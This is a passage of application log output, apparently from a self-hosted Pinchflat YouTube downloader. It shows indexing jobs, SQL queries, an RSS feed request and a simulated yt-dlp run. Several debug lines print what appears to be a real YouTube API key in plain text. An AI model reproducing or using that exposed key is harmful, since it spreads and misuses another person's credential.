7, ~U[2026-10-09 22:07:56Z], ~U[2026-10-09 22:07:56Z]] 17:07:56.388 [info] {"args":{"id":7},"id":5268364,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":130779,"event":"job:stop","queue_time":467266,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:56.569 [debug] QUERY OK source="media_items" db=0.6ms idle=180.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "hsY3IJVKOcw", "a0YlDUdNjqc", "62hl5tFrodQ", "gStpYu84aRQ", "uKW8Td2gynY", "TpU_mB8MO4k", "EzkSQzP0ExQ", "kCuY95F6R40", "Xu7wneIzhPM", "IzNFKW9EIuA", "sZ1xZHqxah4", "55BSBuorfhQ", "Aw2XEiN1VNY", "IiH_inHowI8", "2uqbR-ntKdE", "0aa6XyEQgFY", "fMN1zdsyVTg", "vjcS8RKa194", "ocYp07IRgxQ", "_9adBz4FN5Y", "IYDwHD9p_qQ", "aSYbsUlefuk", "CZY_iUWtd5Y", "r3zmwPNRdPc", "_ZAEcUvqFnk", "ba1BfC-NO7s", "3gg3-t2CUn4", "pAwv29cLSq0", "GzJ7TaJIhhs", "Bc5RIeIjZT8", "t9XtC85e-tQ", "InaGX4XhPk0", "HSVmPi_p_GQ", "3Bp8fDX_9pY", "2xy8vg2WLz4", "bG0VnCUZm-s", "NIDy6_QXX-E", "Lhoi-gx3O9I", "6jLIm8Bt2dA", "8rf4YP-OlFs", "llaLuaNTA-Q", "QhxZ2JujRLs", "MEdMneWCqFA", "t0kErQN5pbM", "K7j9ONAplwY", "4rEcECZeyoE", "RwIhXqA7tQg", "_v18JX0Nwvk", "kZR4QlyyBO4", ...] 17:07:56.571 [debug] QUERY OK source="media_items" db=1.3ms idle=181.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 17:07:56.571 [debug] QUERY OK source="tasks" db=0.0ms idle=177.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268405, 25, ~U[2026-10-09 22:07:56Z], ~U[2026-10-09 22:07:56Z]] 17:07:56.572 [info] {"args":{"id":25},"id":5268365,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":314658,"event":"job:stop","queue_time":230835,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:57.258 [info] {"args":{"id":38},"id":5268366,"meta":{},"system_time":1791583677258190634,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:57.258 [debug] QUERY OK source="sources" db=0.2ms idle=686.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 17:07:57.258 [debug] QUERY OK source="settings" db=0.1ms idle=686.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:57.258 [debug] QUERY OK source="media_profiles" db=0.0ms idle=680.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:57.259 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:57.259 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 17:07:57.259 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:57.259 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:57.440 [debug] QUERY OK source="media_items" db=0.4ms idle=181.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "RFdUqYYAok4", "d4OvQ3ab3LU", "2zW3Yfqguqo", "TliajZWaa6w", "KxPnKhHwTss", "CNXmT6_AgYI", "9MeAJILthTI", "Sa3rM0oMmII", "XI57UTwhiHk", "ViBIKuIjePA", "wk-5m6cDEFg", "0Tot2YHwYNw", "vXMKnG6EI-o", "qj89Pt8CG8Y", "0IEv_NJo28w", "jmg3WF44TX4", "dFAjDGLGGdo", "1YcOlzRT5fI", "kZRvqOLkYT8", "1Z7bFTHQVLE", "6bKxtOkucuE", "8W8aD92ICuA", "i302110skWk", "13rEmidnw4A", "-X2v_sQA-j0", "L0rHhCEKvgo", "nYD-kE0bAY4", "XUlR2DVedTg", "l2X92jlagKg", "1igbvUoJcP8", "7514uMl2EX0", "I3mHsRo707I", "fUxEAMiqGYY", "mD4HUXQMG2U", "f3q2mXFrACc", "g8YEYPROiwk", "slWVHwC-XHc", "iBfyeFSpPXU", "9kBUy4NgMAI", "cljD9rspFsA", "IM1njZ0AuP8", "gW-kYYBK5t4", "tobDwFmXHwQ", "8U8zEXmqpRI", "_E049Xhgah4", "Iwzmx_EyHJI", "TRMxPhMhq70", "FHvAe63pYvM", "IKVwG8AizeA", ...] 17:07:57.443 [debug] QUERY OK source="media_items" db=2.1ms idle=182.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 17:07:57.443 [debug] QUERY OK source="tasks" db=0.1ms idle=184.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268406, 38, ~U[2026-10-09 22:07:57Z], ~U[2026-10-09 22:07:57Z]] 17:07:57.444 [info] {"args":{"id":38},"id":5268366,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":185701,"event":"job:stop","queue_time":179040,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:08:00.434 [info] {"source":"oban","duration":155,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:08:01.983 [info] GET /sources/a9100910-ac63-4f4f-8bb2-2a507e1563c7/feed.xml 17:08:01.983 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "a9100910-ac63-4f4f-8bb2-2a507e1563c7"} Pipelines: [:maybe_basic_auth] 17:08:01.984 [debug] QUERY OK source="sources" db=0.1ms idle=1549.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["a9100910-ac63-4f4f-8bb2-2a507e1563c7"] 17:08:01.996 [debug] QUERY OK source="media_items" db=12.3ms idle=727.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [38, 2000] 17:08:02.066 [debug] QUERY OK source="source_metadata" db=0.1ms idle=719.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [38] 17:08:02.067 [debug] QUERY OK source="media_metadata" db=0.0ms idle=720.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577906] 17:08:02.070 [info] Sent 200 in 86ms 17:08:15.597 [info] {"source":"oban","duration":10263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":11} 17:08:41.305 [info] {"args":{"id":37},"id":5268367,"meta":{},"system_time":1791583721304974854,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:08:41.305 [debug] QUERY OK source="sources" db=0.1ms idle=1958.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:08:41.305 [debug] QUERY OK source="settings" db=0.1ms idle=1958.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:41.305 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:08:41.305 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:41.305 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 17:08:41.306 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:41.306 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:08:41.496 [debug] QUERY OK source="media_items" db=0.6ms idle=190.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "3BLxx5GpPkQ", "xXW35OmG_2s", "gMMPAjnrsg8", "6k3MCvZcNf0", "kvfyuReITgE", "-T_TIqokEBM", "17qdDkP14Ao", "FPHOLeDqI9o", "-s86EG5s4to", "7ymHZ4ad1zg", "IgrA6UWGE_w", "tA9FzgkzauM", "aqMJUkmPHUw", "cSOvVHmIwUE", "dChU-mIqI0s", "Oka7yNGFBOA", "fH_aZFRA5nQ", "J8NEUFlSRhM", "znzyBp8ruMM", "sRkxPi6IOY8", "MYX7D4TPO-I", "7oIIzbP9mLA", "zuBnPJLV8Zs", "96THecfcRbE", "9fkqORqi1wA", "bCkQhwnTpRI", "ZHt7xfhPsPg", "ZYGsrtIqxLA", "u6hjDgVUeTM", "X9cKnBwcpPE", "A0PL0Q5_AhQ", "7HAodxxPnvg", "LOc26tUJziM", "GTsYWE1QSbA", "tE4_YArfkNM", "PJgHERObbLA", "8T-uZpYUv-s", "n13CZ1XVNJI", "7O_jgUrMUs4", "E-79e3z4q1o", "xCiLvge4XXQ", "EB-HgHFEqeg", "wbbAhhj23Bo", "HjKVJeWks5o", "0m183T8j9wc", "3bUgF8AAGRU", "HaSaDehz2lc", "1n9vqO6R734", "7L-_Jzfzj-Y", ...] 17:08:41.497 [debug] QUERY OK source="settings" db=0.0ms idle=191.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:41.497 [debug] QUERY OK source="settings" db=0.0ms idle=191.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:41.497 [debug] Running yt-dlp command for action: get_media_attributes 17:08:41.497 [debug] QUERY OK source="settings" db=0.0ms idle=191.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:41.497 [debug] QUERY OK source="settings" db=0.0ms idle=191.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:41.497 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:41.497 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/09/27/0927f998711fadbc317acf5b7fe49fd6c558d48863c3cfa124bff1ef6b34e780.json --sleep-requests 81 --sleep-interval 85 --sleep-subtitles 76 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:08:45.607 [info] {"source":"oban","duration":10139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":4} 17:09:00.435 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:09:15.618 [info] {"source":"oban","duration":9999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:45.629 [info] {"source":"oban","duration":10086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":12} 17:09:57.382 [info] {"args":{"id":14},"id":5268368,"meta":{},"system_time":1791583797382195585,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:09:57.382 [debug] QUERY OK source="sources" db=0.1ms idle=35.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 17:09:57.382 [debug] QUERY OK source="settings" db=0.1ms idle=35.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:09:57.383 [debug] QUERY OK source="media_profiles" db=0.6ms idle=35.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:09:57.383 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:09:57.383 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 17:09:57.383 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:09:57.383 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:09:57.599 [debug] QUERY OK source="media_items" db=0.6ms idle=216.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "uMhdcq2rqUU", "E5p4TgCNd1I", "NS1Qlu1JTOs", "Nx6ThYgEtg8", "yTD_VbxleZU", "AR-F8Ttpld8", "XQNhCU17ipM", "Hj_yRDR9EzE", "9KwLFC6RDGk", "qz9DvI-NY6k", "oCez-4XUoew", "5bsI3M44NWo", "AVd3ds5U2xc", "NQGYqypeUOs", "-SSI6E5QCOw", "j43j9iwU158", "-mKb75P7wT0", "mWFKVqtAkeI", "qUVsX49fNFw", "b1huB4CSzks", "bMPgRlgcJcE", "ssavPVf6JvE", "mrcnQu6Xfas", "W5fK8BmgBow", "3lJ5oT_JviI", "TpVM45JNupQ", "oMUaZsvJQVQ", "xVm6_IIrHc4", "XXrCAC6bUsk", "Y4IJxO518mI", "DsfsZQjOfu0", "1i8a24si74Y", "E2KfkGF77uo", "-iwvu0uozhs", "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", ...] 17:09:57.601 [debug] QUERY OK source="media_items" db=1.6ms idle=217.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN 